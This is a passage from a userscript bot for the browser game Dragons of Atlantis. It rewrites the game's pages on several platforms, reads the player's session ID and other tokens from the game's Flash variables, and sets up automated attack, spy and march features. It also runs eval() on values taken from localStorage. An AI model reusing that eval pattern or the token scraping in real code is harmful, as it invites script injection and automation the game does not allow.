Tools Doa De DylanProDoa (modded by Dylan)

Tool Pour Doa, Fait Par DydyTool

// ==UserScript==
// @name		Tools Doa De DylanProDoa (modded by Dylan)
// @namespace	http://userscripts.org/scripts/show/DydyTool
// @icon		http://www.hbhud.com/wp-content/uploads/2011/03/logo-mk-64x64.jpg
// @description	Tool Pour Doa, Fait Par DydyTool
// @grant		GM_xmlhttpRequest
// @grant		GM_info
// @grant		GM_setValue
// @grant		GM_getValue
// @match		*://apps.facebook.com/dragonsofatlantis/*
// @match		*://*.castle.wonderhill.com/platforms/*/game
// @match		*://www.kabam.com/dragons-of-atlantis/play
// @match		*://www.kongregate.com/games/kabam/dragons-of-atlantis
// @match		*://plus.google.com/games/659749063556*
// @match		*://*.googleusercontent.com/gadgets/ifr?url=app://659749063556*
// @include		*://plus.google.com/games/659749063556*
// @include		*://plus.google.com/*/games/659749063556*
// @include		*://www.kongregate.com/games/kabam/dragons-of-atlantis*
// @include		*://*.castle.wonderhill.com/platforms/*/game
// @include		*://*.googleusercontent.com/gadgets/ifr?url=app://659749063556*
// @include		*://www.kabam.com/dragons-of-atlantis/play
// @include		*://apps.facebook.com/dragonsofatlantis/*
// @include		*://*.castle.wonderhill.com/platforms/*/game
// @exclude		*://apps.facebook.com/dragonsofatlantis/rubies
// @exclude		*://apps.facebook.com/ai.php*
// @exclude		*://www.facebook.com/plugins/like.php*
// @exclude		*://kabam1-a.akamaihd.net/pixelkabam/*
// @exclude		*://*.akamaihd.net/pixelkabam/*
// @exclude		*://plus.google.com/_/apps-static/*
// @exclude		*://plus.google.com/u/0/_/gadgets/contactPicker*
// @exclude		*://accounts.google.com/*
// @exclude		*://talkgadget.google.com/*
// @exclude		*://www.googleapis.com/static*
// @include		*://*realm*doa.altervista.org*
// @exclude		*://realmtheraindoa.altervista.org/Jeux/*
// @version		1.56
// @grant GM_addStyle
// @grant unsafeWindow
// @homepageURL	http://script.wygopro.com/script/
// ==/UserScript==  
(function() {

	var CHROME_EXT = false, scriptVersion = '22.02.2015', scriptId = 'DydyTool', REALM_URL = '', REALM_NAME, chrome_extensions = 'chrome://chrome/extensions/', userscripts_src = 'http://userscripts.org/scripts/source/' + scriptId + '.user.js', UID = {}, UIDN = {}, REMOVE_HD = false;

	function make_space_for_kongregate(frame, width) {
		var maxWidth = (width ? width : (document.body.offsetWidth - 50) + 'px');
		if (frame) {
			if (frame.width) frame.width = maxWidth;
			else if (frame.style.width) frame.style.width = maxWidth;
			else frame.setAttribute("style", "width: " + maxWidth + ";");
		}
	}

	function debugLog(data) {
		if (window.console && console.log) console.log(data);
	}

	function hide_all(body, game_container) {
		function content_dependant(tag) {
			if (!tag.childNodes) return (false);
			var child_list = tag.childNodes;
			var found = false;
			for (var x = 0; x < child_list.length && !found; x++) {
				if (child_list[x].id && child_list[x].id == game_container) found = true;
				else found = content_dependant(child_list[x]);
			}
			return found;
		}
		if (body.childNodes) {
			var child_elements = body.childNodes;
			for (var c = 0; c < child_elements.length; c++) {
				var child = child_elements[c];
				if (child.id && child.id == game_container) {
					child.style.width = '100%';
					child.style.margin = '0';
					child.style.border = '0';
					child.style.background = '#888 url(https://images.alphacoders.com/117/117053.jpg)';
				} else {
					var depend = content_dependant(child);
					if (!depend) {
						if (child.tagName == 'DIV' || child.tagName == 'IFRAME' || child.tagName == 'TABLE') {
							child.style.width = '0%';
							child.style.display = 'none';
						} else hide_all(child, game_container);
					} else {
						if (child.tagName == 'DIV' || child.tagName == 'IFRAME' || child.tagName == 'TABLE' || child.tagName == 'TD') {
							child.style.padding = '0px';
							child.style.width = '100%';
							child.style.margin = '0';
							child.style.border = '0';
							child.style.background = '#888 url(https://images.alphacoders.com/117/117053.jpg)';
						}
						hide_all(child, game_container);
					}
				}
			}
		}
	}

	function setHD(element) {
		if (element.parentNode) {
			var parent_element = element.parentNode;
			setHD(parent_element);
			if (parent_element.tagName == 'DIV' || parent_element.tagName == 'IFRAME' || parent_element.tagName == 'TABLE' || parent_element.tagName == 'TD') {
				parent_element.style.width = '100%';
				parent_element.style.background = '#888 url(https://images.alphacoders.com/117/117053.jpg)';
			}
		}
	}

	/* Set layout on kabam.com */
	if ((/dragons-of-atlantis\/play/.test(window.location.href)) && window.location.href.indexOf("kabam.com") !== -1)
		setTimeout(function() {
			document.getElementById('promo-sidebar').style.display = 'none';
			var to_remove = document.getElementById('promo-sidebar').parentNode;
			to_remove.parentNode.removeChild(to_remove);
		}, 7000);

	/* Check to see if script is running in an iframe or not and removes unnecessary elements before continuing with the script. */
	if (/(pixelkabam|akamaihd|plugins|ai\.php|talkgadget|notifications|contactPicker|accounts|googleapis\.com\/static)/.test(window.location.href)) return;

	if (!((/apps\.facebook\.com\/dragonsofatlantis/.test(window.location.href) && /rubies/.test(window.location.pathname) === false) ||
		/castle\.wonderhill\.com\/platforms\/.+\/game/.test(window.location.href) ||
		/plus\.google\.com.*\/games.*\/659749063556/.test(window.location.href) ||
		/plus\.google\.com.*\/games\/play\/659749063556/.test(window.location.href) ||
		/googleusercontent\.com\/gadgets\/.*\/659749063556/.test(window.location.href) ||
		/kabam.com\/dragons-of-atlantis\/play/.test(window.location.href) ||
		/kongregate.com\/games\/kabam\/dragons-of-atlantis/.test(window.location.href) ||
		(/realmtheraindoa.altervista.org\/*/.test(window.location.href) && !/realmtheraindoa.altervista.org\/Jeux\/*/.test(window.location.href)) ||
		/wackoscripts.com\/realm*/.test(window.location.href)
	)) {
		return;
	}



	if (window.top === window.self) {
		function setWide() {
			if (window.location.href.indexOf('facebook') !== -1) {
				iframe = document.getElementById('iframe_canvas');
				platform = 'facebook';
			} else if (window.location.href.indexOf("google") !== -1) {
				game_frame = 'oz-gadgets-canvas-iframe-659749063556';
				iframe = document.getElementById('oz-gadgets-canvas-iframe-659749063556');
				platform = 'google';
			} else if (window.location.href.indexOf("kongregate.com") !== -1) {
				game_frame = 'gameiframe';
				iframe = document.getElementById('gameiframe');
				platform = 'kongregate';
			} else if (window.location.href.indexOf("kabam.com") !== -1) {
				iframe = document.getElementById('game_frame');
				platform = 'kabam';
			} else if (window.location.href.indexOf("altervista.org") !== -1 || window.location.href.indexOf("wackoscripts.com/realm") !== -1) {
				iframe = 'none';
				platform = 'altervista';
			}
			if (!iframe || iframe.length < 1) {
				setTimeout(setWide, 1000);
				return;
			}
			var background_118446 = localStorage.getItem('118446_background');
			var USE_BACKGROUND = (background_118446 && background_118446 != undefined && background_118446 != null) ? eval(background_118446) : true;
			switch (platform) {
				case 'facebook':
					while ((iframe = iframe.parentNode) != null) {
						if (iframe.tagName == 'DIV')
							iframe.style.width = '100%';
					}
					document.getElementById('rightCol').style.display = 'none';
					document.getElementById('blueBarDOMInspector').style.display = 'none';
					document.getElementById('contentCol').style.margin = '0px';
					document.getElementById('contentCol').style.background = '#888 url(https://images.alphacoders.com/117/117053.jpg)';
					var contentColChild = document.getElementById('contentCol').childNodes;
					for (var i = 0; i < contentColChild.length; i++)
						if (contentColChild[i].tagName == 'DIV')
							contentColChild[i].style.margin = '0px';
					document.scrollTop = '42px';
					if (USE_BACKGROUND) {
						var body_elements = document.getElementsByTagName('body');
						for (var el = 0; el < body_elements.length; el++)
							body_elements[el].style.background = '#888 url(https://images.alphacoders.com/117/117053.jpg)';
					}
					break;
				case 'kabam':
					iframe.style.width = '100%';
					iframe.style.margin = '0';
					iframe.style.border = '0';
					if (USE_BACKGROUND)
						iframe.style.backgroundColor = 'transparent';
	 				else
						iframe.style.backgroundColor = 'white';
					while ((iframe = iframe.parentNode) != null) {
						if (iframe.tagName == 'DIV') {
							iframe.style.width = '100%';
							iframe.style.margin = '0';
							iframe.style.border = '0';
							iframe.style.background = '#888 url(https://images.alphacoders.com/117/117053.jpg)';
						}
					}
					break;
				case 'altervista':
					if (!document.getElementsByTagName('head')) {
						var header = document.createElement('head');
						var html_elements = document.getElementsByTagName('html');
						html_elements[0].appendChild(header);
					}
					if (document.getElementsByTagName('link').length <= 0) {
						var ss = document.createElement("link");
						ss.type = "text/css";
						ss.rel = "stylesheet";
						ss.media = "screen";
						ss.href = "https://kabam1-a.akamaihd.net/castle/stylesheets/chomped/common_258783ec84eaa8c2ad74bf6168ec24317be52dab.css";
						document.getElementsByTagName('head')[0].appendChild(ss);
						var ss = document.createElement("link");
						ss.type = "text/css";
						ss.rel = "stylesheet";
						ss.media = "screen";
						ss.href = "https://kabam1-a.akamaihd.net/castle/stylesheets/chomped/facebook_37fbd906939be51243d0becafcb7aca6edbc3a8f.css";
						document.getElementsByTagName('head')[0].appendChild(ss);
					}
					var centers = document.getElementsByTagName('center');
					for (var el = 0; el < centers.length; el++) {
						var old_elem = centers[el];
						var new_elem = document.createElement('div');
						new_elem.id = 'altervista_div' + el;
						old_elem.parentNode.appendChild(new_elem);
						while (old_elem.hasChildNodes())
							new_elem.appendChild(old_elem.removeChild(old_elem.firstChild));
					}
					var object = document.getElementsByTagName('object');
					if (object) initScript(object);
					break;
				default:
					if (platform == 'kongregate') setTimeout(function() {
						make_space_for_kongregate(document.getElementById('gameiframe'), undefined)
					}, 10000);
					var top_body = document.getElementsByTagName('body');
					for (var el = 0; el < top_body.length; el++) {
						if (top_body[el].id) debugLog('top_body[' + el + '].id = ' + top_body[el].id);
						hide_all(top_body[el], game_frame);
					}
					var frame = document.getElementById(game_frame);
					if (frame) {
						if (frame.width) frame.width = '100%';
						frame.style.width = '100%';
						frame.setAttribute("style", "width: 100%;");
					}
					break;
			}
		}
		setWide();
	} else {
		platform = document.body.className.split(' ');
		if (platform && platform[0]) {
			platform = platform[0].replace(/(platforms_|_game)/g, '');
		} else {
			platform = 'google';
		}
		var errors = 0;

		function setHigh() {
			clearTimeout;
			/* Custom treatment for intermediate iframe */
			if (document.getElementById('game_frame')) setTimeout(function() {
				make_space_for_kongregate(document.getElementById('game_frame'), '100%')
			}, 10000);
			var object = document.getElementsByTagName('object');
			if (object.length < 1) {
				if (++errors > 6) {
					errors = 0;
					window.location = window.location.href;
				}
				setTimeout(setHigh, 1000);
				return;
			}
			var background_118446 = localStorage.getItem('118446_background');
			var USE_BACKGROUND = (background_118446 && background_118446 != undefined && background_118446 != null) ? eval(background_118446) : true;
			switch (platform) {
				case 'facebook':
					REALM_URL = 'http://apps.facebook.com/dragonsofatlantis/realm/';
					for (var i = 0; i < object.length; i++) {
						switch (object[i].parentNode.id) {
							case 'hd':
								object[i].style.display = 'none';
								break;
							default:
								object[i].parentNode.style.margin = '0px';
						}
					}
					document.getElementById('hd').parentNode.style.width = '760px';
					var hdChild = document.getElementById('hd').childNodes;
					for (var i = 0; i < hdChild.length; i++) {
						if (hdChild[i].tagName == 'DIV') hdChild[i].style.display = 'none';
						if (hdChild[i].tagName == 'IFRAME') hdChild[i].style.display = 'none';
					}
					document.getElementById('ft').style.display = 'none';
					document.scrollTop = '42px';
					if (REMOVE_HD) document.getElementById('hd').style.display = 'none';
					if (USE_BACKGROUND) {
						var body_elements = document.getElementsByTagName('body');
						for (var el = 0; el < body_elements.length; el++)
							body_elements[el].style.background = '#888 url(https://images.alphacoders.com/117/117053.jpg)';
						var html_elements = document.getElementsByTagName('html');
						for (var el = 0; el < html_elements.length; el++)
							html_elements[el].style.background = '#888 url(https://images.alphacoders.com/117/117053.jpg)';
					}
					break;
				case 'google':
					document.getElementById('pane_hd').style.display = 'none';
					if (USE_BACKGROUND) {
						var body_elements = document.getElementsByTagName('body');
						for (var el = 0; el < body_elements.length; el++) {
							body_elements[el].style.background = '#888 url(https://images.alphacoders.com/117/117053.jpg)';
							body_elements[el].style.background = '#888 url(https://images.alphacoders.com/117/117053.jpg)';
						}
					}
					break;
				case 'kabam':
					var html_elements = document.getElementsByTagName('html');
					for (var el = 0; el < html_elements.length; el++) {
						html_elements[el].style.overflow = 'hidden'
						html_elements[el].style.background = '#888 url(https://images.alphacoders.com/117/117053.jpg)';
					}
					if (!USE_BACKGROUND) document.body.style.background = '#888 url(https://images.alphacoders.com/117/117053.jpg)';
					document.getElementById('cn').style.textAlign = 'left';
					if (document.getElementById('castlemania_swf')) setHD(document.getElementById('castlemania_swf'));
					break;
			}
			initScript(object);
		}
		setHigh();
	}



	function initScript(SWF_OBJECT) {

		function makeUID(len) {
			var len = (len != undefined ? len : 20);
			var chars = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'u', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'U', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '_'];
			var uid = chars[Math.floor(Math.random() * 54)];
			for (var i = 0; i < len; i++) {
				uid += chars[Math.floor(Math.random() * 64)];
			}
			return uid;
		}

		function getUID(name) {
			return UID[name] != undefined ? UID[name] : name;
		}

		function setUID(name) {
			var uid = makeUID();
			while (UIDN[uid] != undefined) {
				uid = makeUID();
			}
			UIDN[uid] = 1;
			UID[name] = uid;
			return uid;
		}

		function parseQuotedVars(str) {
			var obj = {};
			var pattern = /\s*(.*?)\s*=\s*('|")(.*?)\2/gi;
			var match;
			while ((match = pattern.exec(str)) != null) {
				obj[match[1]] = match[3];
			}
			return obj;
		}

		function getFlashVars(swf) {
			/* "use strict"; */
			var params = swf.innerHTML;
			var pattern = /\<\s*param\s*(.*?)\>/gi;
			var attrs = {};
			var args, match, p;
			while ((match = pattern.exec(params)) != null) {
				var p = parseQuotedVars(match[1]);
				if (p.name && p.name == 'flashvars') {
					args = decodeEntity(p.value).split('&');
					for (var i = 0; i < args.length; i++) {
						var v = args[i].split('=');
						attrs[v[0].strip()] = v[1].strip();
					}
					break;
				}
			}
			/* will have to enhance this if they change the names ... */
			C.attrs.apiServer = attrs.api_server;
			C.attrs.sessionId = attrs.session_id;
			C.attrs.dragonHeart = attrs.dragon_heart;
			C.attrs.userId = attrs.user_id;
			C.attrs.locale = attrs.locale;
			USER_ID = attrs.user_id;
			S3_SERVER = attrs.s3_server;
			S3_SWF_PREFIX = attrs.s3_swf_prefix;
			PUB_SERVER = attrs.pub_server;
			PUB_PORT = attrs.pub_port;
			MAP_BIN_CACHEBREAKER = attrs.map_bin_cachebreaker;
			SERVER_ID = (/realm(\d+)\./.exec(attrs.api_server) || ['', ''])[1];
			url_versions = C.attrs.apiServer;
			if (url_versions.indexOf('/api') > 0)
				url_versions = url_versions.substring(0, url_versions.indexOf('/api'));
		}

		/* All global variables MUST be set here or they will not be available to all functions throughout the script.*/
		var api_version = 'overarch',
			scriptName = 'Dylan Doa Tools',
			mainAuthor = 'Calcium',
            CPT_SEARCH = {  players:'playerSearchName', playersHisto:'playerSearchHistoName', playerDetail: 'detailPlayer',
                            alliances:'allianceSearchName', allianceDetail: 'detailAlliance' };
		/* Skins */
		var urlBackgroundImage = '',
			urlBackgroundLogo = 'https://images.alphacoders.com/117/117053.jpg';
		/* Styles List */
		var styleList = ['btn_blue', 'blue', 'btn_cyan', 'btn_green', 'btn_on', 'btn_off', 'btn_red', 'btn_purple', 'btn_red', 'btn_yellow', 'bold_red', 'compact_table',
			'content', 'content_table', 'defending', 'hiding', 'popup_bar', 'popup_close', 'popup_main', 'popup_outer', 'popup_top', 'row_headers', 'row_style', 'row_top_headers',
			'row_headers_left', 'scrollable', 'status_feedback', 'status_report', 'status_ticker', 'subtitle', 'support_link', 'table', 'table_console', 'table_headers', 'table_targets',
			'table_wrap', 'title', 'red', 'green', 'btn_disabled', 'title_sr', 'title_main', 'info_protect', 'info_alerts', 'info_boosts'
		];

		/* Tab order */
		var INFO_TAB_ORDER = 1,
			JOBS_TAB_ORDER = 2,
			ALLIANCE_TAB_ORDER = 3,
			WAVE_TAB_ORDER = 4,
			ATTACK_TAB_ORDER = 5,
			SINGLE_TAB_ORDER = 6,
			SEARCH_TAB_ORDER = 10,
			TOWER_TAB_ORDER = 11,
			WALL_TAB_ORDER = 12,
			OPTIONS_TAB_ORDER = 20,
			WHEEL_TAB_ORDER = 21,
			BOOKMARK_TAB_ORDER = 30,
			MULTI_TAB_ORDER = 31,
			SPY_TAB_ORDER = 32,
			INBOX_TAB_ORDER = 50,
            CPT_TAB_ORDER = 60,
			LOG_TAB_ORDER = 99;

		/* Tab enable/disable */
		var ALLIANCE_TAB_ENABLE = true,
			ATTACK_TAB_ENABLE = true,
			BOOKMARK_TAB_ENABLE = true,
			INBOX_TAB_ENABLE = true,
			INFO_TAB_ENABLE = true,
			JOBS_TAB_ENABLE = true,
			LOG_TAB_ENABLE = true,
			MULTI_TAB_ENABLE = true,
			OPTIONS_TAB_ENABLE = true,
			WHEEL_TAB_ENABLE = true,
			SEARCH_TAB_ENABLE = true,
			SINGLE_TAB_ENABLE = true,
			SPY_TAB_ENABLE = true,
			TOWER_TAB_ENABLE = true,
			WALL_TAB_ENABLE = true,
            CPT_TAB_ENABLE = true,
			WAVE_TAB_ENABLE = true;

		/* Global variables */
		var DEBUG_TRACE_AJAX = 2,
			DEBUG_MARCHES = false,
			E429_TIMER = 0,
			E429_DELAY = 3600,
			TILE_DELAY = 2250,
			MAP_DELAY = 1250,
			MIN_DELAY = 10,
			EMULATE_NET_ERROR = 0,
			MIN_DELAY_BETWEEN_WAVE = 10;

		var BUTTON_BGCOLOR = '#436',
			JOB_BUTTON_BGCOLOR = '#436';

		/* Message handling */
		var MESSAGES_ALL = 0,
			MESSAGES_ONLY = 1,
			REPORTS_ONLY = 2,
			MAX_READ = 120,
			MAX_DELETE = 30;

		/* Capital and outposts IDs */
		var CAPITAL =			{	id: 0,	type: 'capital',	name: '', 						dragon_name: 'CityGreatDragon' },
			SPECTRAL_OUTPOST =	{	id: 1,	type: 'spectral',	name: 'SpectralDragonOutpost',	dragon_name: 'SpectralDragon'},
			ICE_OUTPOST =		{	id: 2,	type: 'ice',		name: 'IceDragonOutpost',		dragon_name: 'IceDragon'},
			SWAMP_OUTPOST =		{	id: 3,	type: 'swamp',		name: 'SwampDragonOutpost',		dragon_name: 'SwampDragon'},
			FOREST_OUTPOST =	{	id: 4,	type: 'forest',		name: 'ForestDragonOutpost',	dragon_name: 'ForestDragon'},
			DESERT_OUTPOST =	{	id: 5,	type: 'desert',		name: 'DesertDragonOutpost',	dragon_name: 'DesertDragon'},
			WATER_OUTPOST =		{	id: 6,	type: 'water',		name: 'WaterDragonOutpost',		dragon_name: 'WaterDragon'},
			STONE_OUTPOST =		{	id: 7,	type: 'stone',		name: 'StoneDragonOutpost',		dragon_name: 'StoneDragon'},
			FIRE_OUTPOST =		{	id: 8,	type: 'fire',		name: 'FireDragonOutpost',		dragon_name: 'FireDragon'},
			WIND_OUTPOST =		{	id: 9,	type: 'wind',		name: 'WindDragonOutpost',		dragon_name: 'WindDragon'},
			CHRONO_OUTPOST =	{	id: 10,	type: 'chrono',		name: 'ChronoDragonOutpost',	dragon_name: 'ChronoDragon'},
			SKY_OUTPOST =		{	id: 11,	type: 'skythrone',	name: 'SkythroneOutpost',		dragon_name: 'KaiserDragon'},
			CAVE_OUTPOST =		{	id: 12,	type: 'cave',		name: 'CaveDragonOutpost',		dragon_name: 'CaveDragon'},
			LUNA_OUTPOST =		{	id: 13,	type: 'luna',		name: 'LunaDragonOutpost',		dragon_name: 'LunaDragon'},
			COLOSSUS_OUTPOST = 	{	id: 14, type: 'colossus',	name: 'ColossusDragonOutpost',	dragon_name: 'ColossusDragon'};

		var IsChrome = navigator.userAgent.toLowerCase().indexOf('chrome') > -1;

		/* Error messages */
		var kFatalSeedTitle = 'ERROR WHILST FETCHING DATA FROM SERVER',
			kFatalSeedMsg = 'Please disable the script and see if you are able to play the game manually. If normal play is possible then enable the script and try again. If the error persists please read the following post before submitting a report. If normal play is not possible then wait until it is and try again.',
			kFatalSWF = '"<B>Error initializing:</b><BR><BR>Unable to find SWF element"',
			kStartupErr = '"Unable to start "' + scriptName + '"<BR>"',
			kInitErr = '"<B>Error initializing:</b><BR><BR>"';

		var marchErrorTexts = [{vb: 'delayed due to', fb: ''},
		{ vb: 'delayed due to pending march request', fb: 'Another march request is pending' },
		{ vb: 'has-too-many-marches', fb: 'has-too-many-marches' },
		{ vb: 'delayed due to no available generals', fb: 'No Generals Available' },
		{ vb: 'No Troops Defined', fb: 'No Troops Defined' },
		{ vb: 'delayed due to no available Great Dragon', fb: 'No Great Dragon available'},
		{ vb: '<b>Rate Limit Exceeded</b>, too many requests!', fb: 'Rate Limit Exceeded because there were too many requests'},
		{ vb: 'Requirements Unmet', fb: 'Requirements Unmet'},
		{ vb: 'no resources to transport', fb: 'no resources to transport'}];

		/* Main arrays used in the script */
		var sanctuaryDragonRank = new Array('common', 'lesser', 'heightened', 'royal', 'exalted', 'omniscient', 'legendary');
		/* Troops arrays */
		var all_dragon_list =		['GreatDragon', 'WaterDragon', 'StoneDragon', 'FireDragon', 'WindDragon', 'IceDragon', 'SwampDragon', 'ForestDragon', 'DesertDragon', 'ChronoDragon', 'SpectralDragon', 'KaiserDragon', 'CaveDragon', 'LunaDragon', 'ColossusDragon'];
		var all_unit_types =		['Porter', 'Conscript', 'Spy', 'Halberdsman', 'Minotaur', 'Longbowman', 'SwiftStrikeDragon', 'BattleDragon', 'ArmoredTransport', 'Giant', 'FireMirror', 'PackDragon', 'DarkSlayer', 'LightningCannon', 'ChargeTroop', 'VengeWyrm', 'AquaTroop', 'StoneTroop', 'FireTroop', 'WindTroop', 'IceTroop', 'FrostGiant', 'SwampTroop', 'ForestTroop', 'DesertTroop', 'DimensionalRuiner', 'ArcticLeviathan', 'Harrier', 'Defendo', 'ShadowStalker', 'Shaman', 'WarScarab', 'VoltRanger','DragonRider','ColossalMite','AbyssalRavager'];
		var attack_unit_types =		['Porter', 'Conscript', 'Spy', 'Halberdsman', 'Minotaur', 'Longbowman', 'SwiftStrikeDragon', 'BattleDragon', 'ArmoredTransport', 'Giant', 'FireMirror', 'PackDragon', 'DarkSlayer', 'LightningCannon', 'ChargeTroop', 'VengeWyrm', 'AquaTroop', 'StoneTroop', 'FireTroop', 'WindTroop', 'IceTroop', 'FrostGiant', 'SwampTroop', 'ForestTroop', 'DesertTroop', 'DimensionalRuiner', 'ArcticLeviathan', 'Harrier', 'Defendo', 'ShadowStalker', 'Shaman', 'WarScarab', 'VoltRanger','DragonRider','ColossalMite','AbyssalRavager'];
		var wave_unit_types =		['Porter', 'Conscript', 'Spy', 'Halberdsman', 'Minotaur', 'Longbowman', 'SwiftStrikeDragon', 'BattleDragon', 'ArmoredTransport', 'Giant', 'FireMirror', 'PackDragon', 'DarkSlayer', 'LightningCannon', 'ChargeTroop', 'VengeWyrm', 'AquaTroop', 'StoneTroop', 'FireTroop', 'WindTroop', 'IceTroop', 'FrostGiant', 'SwampTroop', 'ForestTroop', 'DesertTroop', 'DimensionalRuiner', 'ArcticLeviathan', 'Harrier', 'Defendo', 'ShadowStalker', 'Shaman', 'WarScarab', 'VoltRanger','DragonRider','ColossalMite','AbyssalRavager'];
		var spy_unit_types =		['Spy'];
		var transport_unit_types =	['Porter', 'ATrans', 'PackDrg']; // Beware : Use abbreviations here
		/* Resources arrays */
		var all_resource_types =			['gold', 'food', 'wood', 'ore', 'stone', 'blue_energy', 'lunar_energy', 'enchanting'];
		var transportable_resource_types = 	['gold', 'food', 'wood', 'ore', 'stone'];
		var trade_resource_types = 	['food', 'wood', 'ore', 'stone'];
		/* Buildings arrays */
		var capital_buildings =		['Home', 'Garrison', 'ScienceCenter', 'Metalsmith', 'OfficerQuarter', 'MusterPoint', 'Rookery', 'StorageVault', 'Theater', 'Sentinel', 'Factory', 'Fortress', 'DragonKeep', 'Wall', 'DefensiveTower'];
		var outpost_buildings =		['TrainingCamp', 'Home', 'Silo', 'MusterPoint', 'DragonKeep', 'Wall'];
		var field_buildings =		['Mine', 'Farm', 'Lumbermill', 'Quarry'];
		var spectral_buildings =	['DarkPortal', 'Mausoleum', 'SpectralDragonKeep'];
		var spectral_fields =		['EnergyCollector'];
		var skythrone_buildings =	['KaiserDragonKeep', 'Cathedral', 'Forge', 'Greenhouse', 'Library', 'Workshop'];
		var cave_buildings =		['CaveDragonKeep', 'CaveCathedral', 'CaveDepot', 'CaveForge', 'CaveGreenhouse', 'CaveLibrary', 'CaveTrainingCamp', 'CaveWorkshop'];
		var luna_buildings =		['DragonKeep', 'LunaCathedral', 'LunaDepot', 'LunaForge', 'LunaGreenhouse', 'LunaLibrary', 'LunaWorkshop', 'LunaShrine'];
		var colossus_buildings =	['ColossusDragonKeep', 'ColossusWall', 'Warehouse', 'TroopQuarters', 'WarpGate', 'ColossusDefensiveTower'];
		
		/* Items arrays */
		var time_item_list =
		   [{name: 'Blink', 				text: '1m',		type: 'JMTR',	confirmation: false },
			{name: 'Hop',					text: '5m',		type: 'JMTR',	confirmation: false },
			{name: 'Skip',					text: '15m',	type: 'JMTR',	confirmation: false },
			{name: 'Jump',					text: '1h',		type: 'JMTR',	confirmation: false },
			{name: 'Leap', 					text: '2h30',	type: 'JMTR',	confirmation: false },
			{name: 'Bounce',				text: '8h',		type: 'JMTR',	confirmation: false },
			{name: 'Bore',					text: '15h',	type: 'JMTR',	confirmation: false },
			{name: 'Bolt',					text: '24h',	type: 'JMTR',	confirmation: true  },
			{name: 'Blast',					text: '60h',	type: 'JMTR',	confirmation: true  },
			{name: 'Blitz',					text: '96h',	type: 'JMTR',	confirmation: true  },
			{name: 'ForcedMarchDrops',		text: '25%',	type: 'M',		confirmation: false	},
			{name: 'TranceMarchDrops',		text: '50%',	type: 'M',		confirmation: false	},
			{name: 'TestroniusPowder',		text: '30%',	type: 'JMTR',	confirmation: false },
			{name: 'DarkTestroniusPowder',	text: '30%',	type: 'JMTR',	confirmation: false },
			{name: 'TestroniusDeluxe',		text: '50%',	type: 'JMTR',	confirmation: false	},
			{name: 'DarkTestroniusDeluxe',	text: '50%',	type: 'JMTR',	confirmation: false },
			{name: 'TestroniusInfusion',	text: '99%',	type: 'JTR',	confirmation: true	},
			{name: 'DarkTestroniusInfusion',text: '99%',	type: 'JTR',	confirmation: true	}];

		/* TRANSLATIONS */
		var LANG_CODE = navigator.language.substring(0, 2).toLowerCase();
		var IS_NOT_NATIVE_LANG = (LANG_CODE !== 'en');
		var TRANSLATION_ARRAY = {};

		var div_player_attack = setUID('div_SwfPlyr_attack');
		var div_player_spy = setUID('div_SwfPlyr_spy');
		var div_player_building = setUID('div_SwfPlyr_building');
		var div_player_units = setUID('div_SwfPlyr_units');
		var div_player_research = setUID('div_SwfPlyr_research');
		var div_player_fortuna = setUID('div_SwfPlyr_fortuna');
		var short_alerts = setUID('short_alerts');
		var TIMER_COLOR = '#2B4988';

		/* Global variables */
		var Tabs = {};
		var progressBarPop;
		var updaterPop;
		var mainPop;
		var header_2lines = false;
		var swf_object;
		var SWF_CONTAINER;
		var SWF_CONTAINER_INNERHTML;
		var gAttScrollPos = 0;
		var gMapScrollPos = 0;
		var C = {};
		var gFormatTime = ':';
		var gFormatDate = '/';
		var kForumLink = 'Forum';
		var kWikiLink = 'Wiki DoA';
		var scriptUrlError = 'http://www.calciumscript.net/';
		var scriptTitle = '';
		var scriptSite = '';
		var scriptTimeout = null;
		var scriptLoaded = false;
		var startupCount = 0;
		var initTimeout = null;
		var STARTUP_TIMER;
		var citySteps;

		styleList.forEach(
			function(element, index, array) {
				setUID(element);
			});
		/* Set initial Language */
		setLanguage();
		C.attrs = {};

		/* Main entry */

		function scriptStartup() {
			var i;
			progressBar.hideshow(false);
			clearTimeout(scriptTimeout);

			if (scriptLoaded) {
				return;
			}

			if (++startupCount > 20) {
				dialogFatal(kFatalSWF);
				return;
			}

			try {
				var swf = null;
				var object = document.getElementsByTagName('object');
				if (object.length < 1) {
					scriptTimeout = setTimeout(scriptStartup, 1000);
					return;
				}
				for (i = 0; i < object.length; i++) {
					if (object[i].type && object[i].type == 'application/x-shockwave-flash') {
						swf = object[i];
						getFlashVars(swf);
						if (C.attrs.apiServer) {
							var maxWidth = document.body.offsetWidth - 570;
							if (maxWidth < 760) maxWidth = 760;
							if (window.location.href.indexOf("facebook") !== -1)
								document.getElementById('hd').parentNode.style.width = maxWidth + 'px';
							if (swf.id == 'castlemania_swf') swf.style.width = maxWidth + 'px';
							swf_object = swf;
							SWF_CONTAINER = swf.parentNode;
							SWF_CONTAINER_INNERHTML = SWF_CONTAINER.innerHTML;
							setTimeout(function() {
								logit('Mute sound');
								swf.musicMute();
							}, 30000);
							break;
						}
					}
				}
				if (!C.attrs.apiServer) {
					scriptTimeout = setTimeout(scriptStartup, 1000);
					return;
				}
			} catch (e) {
				debugLog('scriptStartup : Error = ' + e);
				scriptTimeout = setTimeout(scriptStartup, 1000);
				return;
			}

			scriptLoaded = true;

			try {
				AutoUpdater.check();
				var retry = 0;
				var startupDelay = Math.randRange(10000, 15000);
				progressBar.start({
					steps: 21,
					delay: startupDelay,
					title: translate('Initializing...'),
					stepText: translate('Loading basic data')
				});

				Data.init({
					log: [
						[],
						[]
					],
					/* Static data and scripts settings - Will be stored in local storage and be backup in local file */
					options: {
						popUp: {
							open: true,
							drag: true,
							x: 0,
							y: 0
						},
						background: true,
						currentTab: false,
						forumUrl: 'http://userscripts.org/scripts/discuss/' + scriptId,
						wikiUrl: 'http://fr.dragonsofatlantis.wikia.com/wiki/Accueil',
						disable_wave: !WAVE_TAB_ENABLE,
						disable_multi: MULTI_TAB_ENABLE,
						disable_bookmark: !BOOKMARK_TAB_ENABLE,
						disable_spies: SPY_TAB_ENABLE,
						disable_inbox: !INBOX_TAB_ENABLE,
						disable_search: !SEARCH_TAB_ENABLE,
						disable_alliance: !ALLIANCE_TAB_ENABLE,
